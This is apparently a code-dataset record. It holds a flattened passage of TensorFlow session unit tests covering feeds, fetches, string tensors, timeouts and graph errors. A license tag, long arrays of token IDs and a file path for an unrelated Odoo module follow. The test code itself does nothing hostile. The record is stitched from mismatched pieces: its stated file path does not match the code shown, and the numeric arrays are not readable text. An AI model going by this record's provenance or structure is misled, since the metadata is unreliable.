callable_opts.fetch.append(a.name) for _ in range(3): callable_fn = sess._make_callable_from_options(callable_opts) for _ in range(5): self.assertEqual([2.0], callable_fn(np.array(1.0, dtype=np.float32))) def testOptimizedMakeCallableWithRunMetadata(self): with session.Session() as sess: ph = array_ops.placeholder(dtypes.float32) a = math_ops.add(ph, 1.0) callable_opts = config_pb2.CallableOptions() callable_opts.feed.append(ph.name) callable_opts.fetch.append(a.name) callable_opts.run_options.trace_level = config_pb2.RunOptions.FULL_TRACE callable_fn = sess._make_callable_from_options(callable_opts) run_metadata = config_pb2.RunMetadata() self.assertEqual([2.0], callable_fn(np.array(1.0, dtype=np.float32), run_metadata=run_metadata)) self.assertGreater(len(run_metadata.step_stats.dev_stats), 0) def testFeedError(self): with session.Session() as sess: feed_t = array_ops.placeholder(dtype=dtypes.float32) out_t = array_ops.identity(feed_t) feed_val = constant_op.constant(5.0) with self.assertRaisesRegexp(TypeError, 'cannot be a tf.Tensor object'): sess.run(out_t, feed_dict={feed_t: feed_val}) with self.assertRaisesRegexp(TypeError, 'cannot be a tf.Tensor object'): out_t.eval(feed_dict={feed_t: feed_val}) with self.assertRaisesRegexp(TypeError, 'cannot be a tf.Tensor object'): out_t.op.run(feed_dict={feed_t: feed_val}) def testFeedPrecisionLossError(self): with session.Session() as sess: largest_int64 = np.iinfo(np.int64).max feed_int_implicit_int32 = constant_op.constant(1) feed_int_explicit_int32 = constant_op.constant(1, dtype=dtypes.int32) out_t = constant_op.constant(1.0) with self.assertRaisesRegexp(TypeError, 'is not compatible with Tensor type'): sess.run(out_t, feed_dict={feed_int_implicit_int32: largest_int64}) with self.assertRaisesRegexp(TypeError, 'is not compatible with Tensor type'): sess.run(out_t, feed_dict={feed_int_explicit_int32: largest_int64}) def testStringFetch(self): with session.Session(): for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]: size = 1 for s in shape: size *= s c_list = np.array( [compat.as_bytes(str(i)) for i in xrange(size)], dtype=np.object).reshape(shape) if size > 0 else [] c = constant_op.constant(c_list) self.assertAllEqual(c.eval(), c_list) def testStringFeed(self): with session.Session() as sess: for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]: size = 1 for s in shape: size *= s c_list = np.array( [compat.as_bytes(str(i)) for i in xrange(size)], dtype=np.object).reshape(shape) feed_t = array_ops.placeholder(dtype=dtypes.string, shape=shape) c = array_ops.identity(feed_t) self.assertAllEqual(sess.run(c, feed_dict={feed_t: c_list}), c_list) self.assertAllEqual( sess.run(feed_t, feed_dict={ feed_t: c_list }), c_list) c_v, feed_v = sess.run([c, feed_t], feed_dict={feed_t: c_list}) self.assertAllEqual(c_v, c_list) self.assertAllEqual(feed_v, c_list) def testStringFeedWithNullCharacters(self): with session.Session(): c_list = [b'\n\x01\x00', b'\n\x00\x01'] feed_t = array_ops.placeholder(dtype=dtypes.string, shape=[2]) c = array_ops.identity(feed_t) out = c.eval(feed_dict={feed_t: c_list}) self.assertEqual(c_list[0], out[0]) self.assertEqual(c_list[1], out[1]) def testStringFeedWithUnicode(self): with session.Session(): c_list = [ u'\n\x01\x00', u'\n\x00\x01', u'\u26a3 unicode', u'\U0001f60e deal with it' ] feed_t = array_ops.placeholder(dtype=dtypes.string, shape=[len(c_list)]) c = array_ops.identity(feed_t) out = c.eval(feed_dict={feed_t: c_list}) for i in range(len(c_list)): self.assertEqual(c_list[i], out[i].decode('utf-8')) out = c.eval(feed_dict={feed_t: np.array(c_list, dtype=np.object)}) for i in range(len(c_list)): self.assertEqual(c_list[i], out[i].decode('utf-8')) def testInvalidTargetFails(self): with self.assertRaisesRegexp( errors.NotFoundError, 'No session factory registered for the given session options'): session.Session('INVALID_TARGET') def testFetchByNameDifferentStringTypes(self): with session.Session() as sess: c = constant_op.constant(42.0, name='c') d = constant_op.constant(43.0, name=u'd') e = constant_op.constant(44.0, name=b'e') f = constant_op.constant(45.0, name=r'f') self.assertTrue(isinstance(c.name, six.text_type)) self.assertTrue(isinstance(d.name, six.text_type)) self.assertTrue(isinstance(e.name, six.text_type)) self.assertTrue(isinstance(f.name, six.text_type)) self.assertEqual(42.0, sess.run('c:0')) self.assertEqual(42.0, sess.run(u'c:0')) self.assertEqual(42.0, sess.run(b'c:0')) self.assertEqual(42.0, sess.run(r'c:0')) self.assertEqual(43.0, sess.run('d:0')) self.assertEqual(43.0, sess.run(u'd:0')) self.assertEqual(43.0, sess.run(b'd:0')) self.assertEqual(43.0, sess.run(r'd:0')) self.assertEqual(44.0, sess.run('e:0')) self.assertEqual(44.0, sess.run(u'e:0')) self.assertEqual(44.0, sess.run(b'e:0')) self.assertEqual(44.0, sess.run(r'e:0')) self.assertEqual(45.0, sess.run('f:0')) self.assertEqual(45.0, sess.run(u'f:0')) self.assertEqual(45.0, sess.run(b'f:0')) self.assertEqual(45.0, sess.run(r'f:0')) def testIncorrectGraph(self): with ops.Graph().as_default() as g_1: c_1 = constant_op.constant(1.0, name='c') with ops.Graph().as_default() as g_2: c_2 = constant_op.constant(2.0, name='c') self.assertEqual('c', c_1.op.name) self.assertEqual('c', c_2.op.name) with session.Session(graph=g_1) as sess_1: self.assertEqual(1.0, sess_1.run(c_1)) with self.assertRaises(ValueError): sess_1.run(c_2) with self.assertRaises(ValueError): sess_1.run(c_2.op) with session.Session(graph=g_2) as sess_2: with self.assertRaises(ValueError): sess_2.run(c_1) with self.assertRaises(ValueError): sess_2.run(c_1.op) self.assertEqual(2.0, sess_2.run(c_2)) def testFeedDictKeyException(self): with session.Session() as sess: a = constant_op.constant(1.0, dtypes.float32, name='a') with self.assertRaisesRegexp(TypeError, 'Cannot interpret feed_dict'): sess.run(a, feed_dict={'a': [2.0]}) def testPerStepTrace(self): run_options = config_pb2.RunOptions( trace_level=config_pb2.RunOptions.FULL_TRACE) run_metadata = config_pb2.RunMetadata() with ops.device('/cpu:0'): with session.Session() as sess: sess.run(constant_op.constant(1.0)) self.assertTrue(not run_metadata.HasField('step_stats')) sess.run(constant_op.constant(1.0), run_metadata=run_metadata) self.assertTrue(not run_metadata.HasField('step_stats')) sess.run( constant_op.constant(1.0), options=run_options, run_metadata=run_metadata) self.assertTrue(run_metadata.HasField('step_stats')) self.assertEquals(len(run_metadata.step_stats.dev_stats), 1) def testRunOptionsRunMetadata(self): run_options = config_pb2.RunOptions( trace_level=config_pb2.RunOptions.FULL_TRACE) run_metadata = config_pb2.RunMetadata() with ops.device('/cpu:0'): with session.Session() as sess: # all combinations are valid sess.run(constant_op.constant(1.0), options=None, run_metadata=None) sess.run( constant_op.constant(1.0), options=None, run_metadata=run_metadata) self.assertTrue(not run_metadata.HasField('step_stats')) sess.run( constant_op.constant(1.0), options=run_options, run_metadata=None) self.assertTrue(not run_metadata.HasField('step_stats')) sess.run( constant_op.constant(1.0), options=run_options, run_metadata=run_metadata) self.assertTrue(run_metadata.HasField('step_stats')) self.assertEquals(len(run_metadata.step_stats.dev_stats), 1) def testFeedShapeCompatibility(self): with session.Session() as sess: some_tensor = constant_op.constant([2.0, 2.0, 2.0, 2.0]) new_shape = constant_op.constant([2, 2]) reshaped_tensor = array_ops.reshape(some_tensor, new_shape) with self.assertRaisesRegexp(ValueError, 'Cannot feed value of shape'): sess.run(reshaped_tensor, feed_dict={some_tensor: [1.0, 2.0, 3.0]}) with self.assertRaisesRegexp( errors.InvalidArgumentError, 'Input to reshape is a tensor with 4 values, ' 'but the requested shape has 21'): sess.run(reshaped_tensor, feed_dict={new_shape: [3, 7]}) def testInferShapesFalse(self): with ops.Graph().as_default(), ops.device('/cpu:0'): a = constant_op.constant([[1, 2]]) sess = session.Session() self.assertFalse('_output_shapes' in sess.graph_def.node[0].attr) # Avoid lint error regarding 'unused' var a. self.assertTrue(a == a) def testInferShapesTrue(self): config = config_pb2.ConfigProto( graph_options=config_pb2.GraphOptions(infer_shapes=True)) with ops.Graph().as_default(), ops.device('/cpu:0'): a = constant_op.constant([[1, 2]]) sess = session.Session(config=config) self.assertTrue('_output_shapes' in sess.graph_def.node[0].attr) # Avoid lint error regarding 'unused' var a. self.assertTrue(a == a) def testBuildCostModel(self): run_options = config_pb2.RunOptions() config = config_pb2.ConfigProto( allow_soft_placement=True, graph_options=config_pb2.GraphOptions(build_cost_model=100)) with session.Session(config=config) as sess: with ops.device('/device:GPU:0'): a = array_ops.placeholder(dtypes.float32, shape=[]) b = math_ops.add(a, a) c = array_ops.identity(b) d = math_ops.multiply(c, c) for step in xrange(120): run_metadata = config_pb2.RunMetadata() sess.run( d, feed_dict={a: 1.0}, options=run_options, run_metadata=run_metadata) if step == 99: self.assertTrue(run_metadata.HasField('cost_graph')) else: self.assertFalse(run_metadata.HasField('cost_graph')) def runTestOutputPartitionGraphs(self, sess): run_options = config_pb2.RunOptions(output_partition_graphs=True) a = constant_op.constant(1) run_metadata = config_pb2.RunMetadata() sess.run(a, options=run_options, run_metadata=run_metadata) self.assertGreater(len(run_metadata.partition_graphs), 0) sess.run(a, run_metadata=run_metadata) self.assertEqual(len(run_metadata.partition_graphs), 0) def testOutputPartitionGraphsDirect(self): self.runTestOutputPartitionGraphs(session.Session()) def testOutputPartitionGraphsDistributed(self): server = server_lib.Server.create_local_server() self.runTestOutputPartitionGraphs(session.Session(server.target)) def testNonInteractiveSessionNesting(self): sess1 = session.Session() sess1_controller = sess1.as_default() sess1_controller.__enter__() sess2 = session.Session() sess2_controller = sess2.as_default() sess2_controller.__enter__() with self.assertRaisesRegexp(AssertionError, 'Nesting violated'): sess1_controller.__exit__(None, None, None) ops._default_session_stack.reset() def testInteractiveSessionNesting(self): sess1 = session.InteractiveSession() sess2 = session.InteractiveSession() del sess1 del sess2 def testAsDefault(self): c = constant_op.constant(37) sess = session.Session() with sess.as_default(): self.assertEqual(37, c.eval()) # Ensure that the session remains valid even when it is not captured. with session.Session().as_default(): self.assertEqual(37, c.eval()) def testReentry(self): sess = session.Session() with self.assertRaisesRegexp(RuntimeError, 'not re-entrant'): with sess: with sess: pass def testInvalidArgument(self): with self.assertRaisesRegexp(TypeError, 'target must be a string'): session.Session(37) with self.assertRaisesRegexp(TypeError, 'config must be a tf.ConfigProto'): session.Session(config=37) with self.assertRaisesRegexp(TypeError, 'graph must be a tf.Graph'): session.Session(graph=37) def testTimeoutWithShortOperations(self): num_epochs = 5 q = data_flow_ops.FIFOQueue(capacity=50, dtypes=[dtypes.int32], shapes=[()]) enqueue_op = q.enqueue_many(constant_op.constant([1, 2])) # Use a 10-second timeout, which should be longer than any # non-blocking enqueue_many op. config = config_pb2.ConfigProto(operation_timeout_in_ms=10000) with session.Session(config=config) as sess: for _ in range(num_epochs): sess.run(enqueue_op) self.assertEqual(sess.run(q.size()), num_epochs * 2) def testRegisterFetchAndFeedConversionFunctions(self): class SquaredTensor(object): def __init__(self, tensor): self.sq = math_ops.square(tensor) fetch_fn = lambda squared_tensor: ([squared_tensor.sq], lambda val: val[0]) feed_fn1 = lambda feed, feed_val: [(feed.sq, feed_val)] feed_fn2 = lambda feed: [feed.sq] session.register_session_run_conversion_functions(SquaredTensor, fetch_fn, feed_fn1, feed_fn2) with self.assertRaises(ValueError): session.register_session_run_conversion_functions(SquaredTensor, fetch_fn, feed_fn1, feed_fn2) with self.test_session() as sess: np1 = np.array([1.0, 1.5, 2.0, 2.5]) np2 = np.array([3.0, 3.5, 4.0, 4.5]) squared_tensor = SquaredTensor(np2) squared_eval = sess.run(squared_tensor) self.assertAllClose(np2 * np2, squared_eval) squared_eval = sess.run( squared_tensor, feed_dict={ squared_tensor: np1 * np1 }) self.assertAllClose(np1 * np1, squared_eval) partial_run = sess.partial_run_setup([squared_tensor], []) squared_eval = sess.partial_run(partial_run, squared_tensor) self.assertAllClose(np2 * np2, squared_eval) def testDefaultLogDevicePlacement(self): class CaptureStderr(str): """Class to capture stderr from C++ shared library.""" def __enter__(self): self._esc = compat.as_str('\b') self._output = compat.as_str('') self._stderr = sys.stderr self._fd = self._stderr.fileno() self._out_pipe, in_pipe = os.pipe() # Save the original io stream. self._dup_fd = os.dup(self._fd) # Replace the original io stream with in pipe. os.dup2(in_pipe, self._fd) return self def __exit__(self, *args): self._stderr.write(self._esc) self._stderr.flush() self.read() os.close(self._out_pipe) # Restore the original io stream. os.dup2(self._dup_fd, self._fd) def read(self): while True: data = os.read(self._out_pipe, 1) if not data or compat.as_str(data) == self._esc: break self._output += compat.as_str(data) def __str__(self): return self._output # Passing the config to the server, but not the session should still result # in logging device placement. config = config_pb2.ConfigProto(log_device_placement=True) server = server_lib.Server.create_local_server(config=config) a = constant_op.constant(1) b = constant_op.constant(2) c = a + b with session.Session(server.target) as sess: with CaptureStderr() as log: sess.run(c) # Ensure that we did log device placement. self.assertTrue('/job:local/replica:0/task:0/device:CPU:0' in str(log), str(log)) def testLocalMasterSessionTimeout(self): # Test that the timeout passed in a config to the session works correctly. config = config_pb2.ConfigProto(operation_timeout_in_ms=1000) server = server_lib.Server.create_local_server() q = data_flow_ops.FIFOQueue(1, dtypes.float32) dequeued_t = q.dequeue() with session.Session(server.target, config=config) as sess: # Intentionally do not run any enqueue_ops so that dequeue will block # until operation_timeout_in_ms. with self.assertRaises(errors.DeadlineExceededError): sess.run(dequeued_t) def testDefaultServerTimeout(self): # Test that the default server config timeout gets used when no Session # config is provided. config = config_pb2.ConfigProto(operation_timeout_in_ms=1000) server = server_lib.Server.create_local_server(config=config) q = data_flow_ops.FIFOQueue(1, dtypes.float32) dequeued_t = q.dequeue() with session.Session(server.target) as sess: # Intentionally do not run any enqueue_ops so that dequeue will block # until operation_timeout_in_ms. with self.assertRaises(errors.DeadlineExceededError): sess.run(dequeued_t) def runTestBuildGraphError(self, sess): # Ensure that errors from building the graph get propagated. data = array_ops.placeholder(dtypes.float32, shape=[]) # pylint: disable=protected-access enter_1 = gen_control_flow_ops.enter(data, 'foo_1', False) enter_2 = gen_control_flow_ops.enter(data, 'foo_2', False) # pylint: enable=protected-access res = math_ops.add(enter_1, enter_2) with self.assertRaisesOpError('has inputs from different frames'): sess.run(res, feed_dict={data: 1.0}) def testBuildGraphErrorDirect(self): self.runTestBuildGraphError(session.Session()) def testBuildGraphErrorDist(self): server = server_lib.Server.create_local_server() self.runTestBuildGraphError(session.Session(server.target)) def testDeviceAttributes(self): attrs = session._DeviceAttributes( '/job:worker/replica:0/task:3/device:CPU:2', 'TYPE', 1337) self.assertEqual(1337, attrs.memory_limit_bytes) self.assertEqual('/job:worker/replica:0/task:3/device:CPU:2', attrs.name) self.assertEqual('TYPE', attrs.device_type) str_repr = '%s' % attrs self.assertTrue(str_repr.startswith('_DeviceAttributes'), str_repr) def testDeviceAttributesCanonicalization(self): attrs = session._DeviceAttributes('/job:worker/replica:0/task:3/cpu:1', 'TYPE', 1337) self.assertEqual(1337, attrs.memory_limit_bytes) self.assertEqual('/job:worker/replica:0/task:3/device:CPU:1', attrs.name) self.assertEqual('TYPE', attrs.device_type) str_repr = '%s' % attrs self.assertTrue(str_repr.startswith('_DeviceAttributes'), str_repr) def runTestAddFunctionToSession(self, target=''): """Add a function to a session after the graph has already been run.""" @function.Defun(dtypes.float32) def foo(x): return x + 1 x = constant_op.constant(1.0) with session.Session(target=target) as sess: sess.run(x) f = foo(x) result = sess.run(f) self.assertEqual(result, 2.0) def testAddFunctionToSession(self): self.runTestAddFunctionToSession() def testAddFunctionToGrpcSession(self): server = server_lib.Server.create_local_server() self.runTestAddFunctionToSession(server.target) def testOpenAndCloseGrpcSession(self): server = server_lib.Server.create_local_server() with session.Session(server.target): pass def testOpenAndCloseSession(self): with session.Session(): pass def testAutoConvertAndCheckData(self): with self.test_session() as sess: a = array_ops.placeholder(dtype=dtypes.string) with self.assertRaisesRegexp( TypeError, 'Type of feed value 1 with type <(\w+) \'int\'> is not'): sess.run(a, feed_dict={a: 1}) if __name__ == '__main__': googletest.main()
apache-2.0
[ 3, 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 3228, 14, 1548, 14, 1258, 14, 1730, 14, 4434, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5055, 199, 646, 2196, 199, 646, 747, 199, 646, 984, 199, 646, 5796, 199, 646, 900, 199, 646, 3598, 199, 199, 646, 2680, 465, 980, 199, 646, 3816, 199, 504, 3816, 14, 4912, 492, 4945, 221, 327, 4287, 26, 3507, 29, 27913, 13, 5351, 199, 199, 504, 3228, 14, 1018, 14, 4857, 492, 1921, 63, 585, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 773, 14, 1018, 492, 1125, 63, 6021, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2863, 63, 9069, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 199, 504, 3228, 14, 1548, 14, 4857, 492, 805, 199, 504, 3228, 14, 1548, 14, 4857, 492, 13479, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5178, 63, 3128, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1974, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5459, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3304, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 666, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3805, 63, 2785, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 3, 3161, 2073, 63, 1975, 63, 1483, 367, 314, 2860, 13, 475, 13, 3128, 9227, 8603, 14, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2073, 63, 1975, 63, 1483, 221, 327, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1174, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 31141, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1654, 63, 773, 199, 504, 3228, 14, 1548, 14, 1974, 492, 8434, 199, 199, 3, 6944, 8, 13118, 651, 304, 9762, 2215, 10991, 367, 4156, 1202, 315, 314, 2295, 12, 3967, 2985, 199, 3, 2793, 1133, 1172, 445, 4176, 1687, 25483, 3801, 641, 1314, 370, 6554, 445, 4176, 2215, 289, 561, 14, 199, 1483, 14, 7099, 7238, 360, 10264, 4874, 83, 7533, 2330, 63, 9069, 14, 5187, 63, 1392, 9, 421, 199, 533, 8596, 774, 8, 396, 63, 1974, 14, 26998, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 4434, 774, 12, 291, 680, 5996, 342, 272, 3598, 14, 18815, 360, 9223, 358, 819, 347, 511, 6119, 23490, 4578, 8, 277, 304, 272, 543, 4156, 14, 4578, 1252, 305, 63, 885, 342, 465, 486, 12, 4156, 14, 1782, 2336, 3541, 26, 16, 735, 489, 282, 275, 4413, 63, 411, 14, 4083, 8, 22, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 330, 275, 4413, 63, 411, 14, 4083, 8, 23, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 286, 275, 3473, 63, 1483, 14, 14465, 8, 65, 12, 330, 12, 536, 534, 14465, 358, 272, 543, 2351, 14, 4434, 8, 2180, 29, 71, 304, 489, 754, 275, 286, 14, 2579, 342, 489, 291, 14, 7069, 8, 1099, 12, 3474, 2260, 14, 16, 3934, 819, 347, 511, 6119, 2698, 4578, 8, 277, 304, 272, 543, 4156, 14, 4578, 1252, 305, 63, 885, 1062, 4156, 14, 1782, 2336, 3541, 26, 16, 735, 489, 282, 275, 4413, 63, 411, 14, 4083, 8, 22, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 330, 275, 4413, 63, 411, 14, 4083, 8, 23, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 286, 275, 3473, 63, 1483, 14, 14465, 8, 65, 12, 330, 12, 536, 534, 14465, 358, 489, 543, 2351, 14, 4434, 837, 267, 754, 275, 286, 14, 2579, 342, 267, 291, 14, 7069, 8, 1099, 12, 3474, 2260, 14, 16, 3934, 819, 347, 511, 2499, 8, 277, 304, 272, 543, 2351, 14, 4434, 837, 489, 10702, 275, 4413, 63, 411, 14, 4083, 8, 709, 14, 16, 12, 2215, 1524, 18, 12, 650, 467, 536, 534, 55, 17, 358, 489, 1331, 275, 1625, 63, 1483, 14, 5582, 8, 11416, 9, 489, 327, 1379, 543, 4733, 14, 489, 327, 3254, 8, 13118, 651, 304, 1010, 27174, 323, 10842, 1865, 534, 38, 7, 9980, 1133, 1736, 14, 489, 7953, 275, 980, 14, 8748, 4038, 16, 12, 413, 12, 499, 467, 359, 19, 12, 841, 12, 959, 2365, 2152, 29, 1590, 14, 1609, 708, 12, 1865, 534, 35, 358, 489, 1331, 63, 637, 275, 1331, 14, 2579, 3252, 55, 17, 26, 16, 356, 7953, 1552, 489, 291, 14, 7069, 8, 5250, 12, 1331, 63, 637, 9, 489, 327, 1379, 1928, 4733, 14, 489, 1331, 63, 637, 275, 1331, 14, 2579, 342, 489, 291, 14, 7069, 8, 881, 980, 14 ]
[ 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 3228, 14, 1548, 14, 1258, 14, 1730, 14, 4434, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5055, 199, 646, 2196, 199, 646, 747, 199, 646, 984, 199, 646, 5796, 199, 646, 900, 199, 646, 3598, 199, 199, 646, 2680, 465, 980, 199, 646, 3816, 199, 504, 3816, 14, 4912, 492, 4945, 221, 327, 4287, 26, 3507, 29, 27913, 13, 5351, 199, 199, 504, 3228, 14, 1018, 14, 4857, 492, 1921, 63, 585, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 773, 14, 1018, 492, 1125, 63, 6021, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2863, 63, 9069, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 199, 504, 3228, 14, 1548, 14, 4857, 492, 805, 199, 504, 3228, 14, 1548, 14, 4857, 492, 13479, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5178, 63, 3128, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1974, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5459, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3304, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 666, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3805, 63, 2785, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 12661, 63, 5472, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 3, 3161, 2073, 63, 1975, 63, 1483, 367, 314, 2860, 13, 475, 13, 3128, 9227, 8603, 14, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2073, 63, 1975, 63, 1483, 221, 327, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1174, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 31141, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1654, 63, 773, 199, 504, 3228, 14, 1548, 14, 1974, 492, 8434, 199, 199, 3, 6944, 8, 13118, 651, 304, 9762, 2215, 10991, 367, 4156, 1202, 315, 314, 2295, 12, 3967, 2985, 199, 3, 2793, 1133, 1172, 445, 4176, 1687, 25483, 3801, 641, 1314, 370, 6554, 445, 4176, 2215, 289, 561, 14, 199, 1483, 14, 7099, 7238, 360, 10264, 4874, 83, 7533, 2330, 63, 9069, 14, 5187, 63, 1392, 9, 421, 199, 533, 8596, 774, 8, 396, 63, 1974, 14, 26998, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 4434, 774, 12, 291, 680, 5996, 342, 272, 3598, 14, 18815, 360, 9223, 358, 819, 347, 511, 6119, 23490, 4578, 8, 277, 304, 272, 543, 4156, 14, 4578, 1252, 305, 63, 885, 342, 465, 486, 12, 4156, 14, 1782, 2336, 3541, 26, 16, 735, 489, 282, 275, 4413, 63, 411, 14, 4083, 8, 22, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 330, 275, 4413, 63, 411, 14, 4083, 8, 23, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 286, 275, 3473, 63, 1483, 14, 14465, 8, 65, 12, 330, 12, 536, 534, 14465, 358, 272, 543, 2351, 14, 4434, 8, 2180, 29, 71, 304, 489, 754, 275, 286, 14, 2579, 342, 489, 291, 14, 7069, 8, 1099, 12, 3474, 2260, 14, 16, 3934, 819, 347, 511, 6119, 2698, 4578, 8, 277, 304, 272, 543, 4156, 14, 4578, 1252, 305, 63, 885, 1062, 4156, 14, 1782, 2336, 3541, 26, 16, 735, 489, 282, 275, 4413, 63, 411, 14, 4083, 8, 22, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 330, 275, 4413, 63, 411, 14, 4083, 8, 23, 14, 16, 12, 2215, 1524, 17, 12, 413, 566, 489, 286, 275, 3473, 63, 1483, 14, 14465, 8, 65, 12, 330, 12, 536, 534, 14465, 358, 489, 543, 2351, 14, 4434, 837, 267, 754, 275, 286, 14, 2579, 342, 267, 291, 14, 7069, 8, 1099, 12, 3474, 2260, 14, 16, 3934, 819, 347, 511, 2499, 8, 277, 304, 272, 543, 2351, 14, 4434, 837, 489, 10702, 275, 4413, 63, 411, 14, 4083, 8, 709, 14, 16, 12, 2215, 1524, 18, 12, 650, 467, 536, 534, 55, 17, 358, 489, 1331, 275, 1625, 63, 1483, 14, 5582, 8, 11416, 9, 489, 327, 1379, 543, 4733, 14, 489, 327, 3254, 8, 13118, 651, 304, 1010, 27174, 323, 10842, 1865, 534, 38, 7, 9980, 1133, 1736, 14, 489, 7953, 275, 980, 14, 8748, 4038, 16, 12, 413, 12, 499, 467, 359, 19, 12, 841, 12, 959, 2365, 2152, 29, 1590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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
MackZxh/OCA-Choice
partner-contact/partner_contact_job_position/__openerp__.py
9
1066
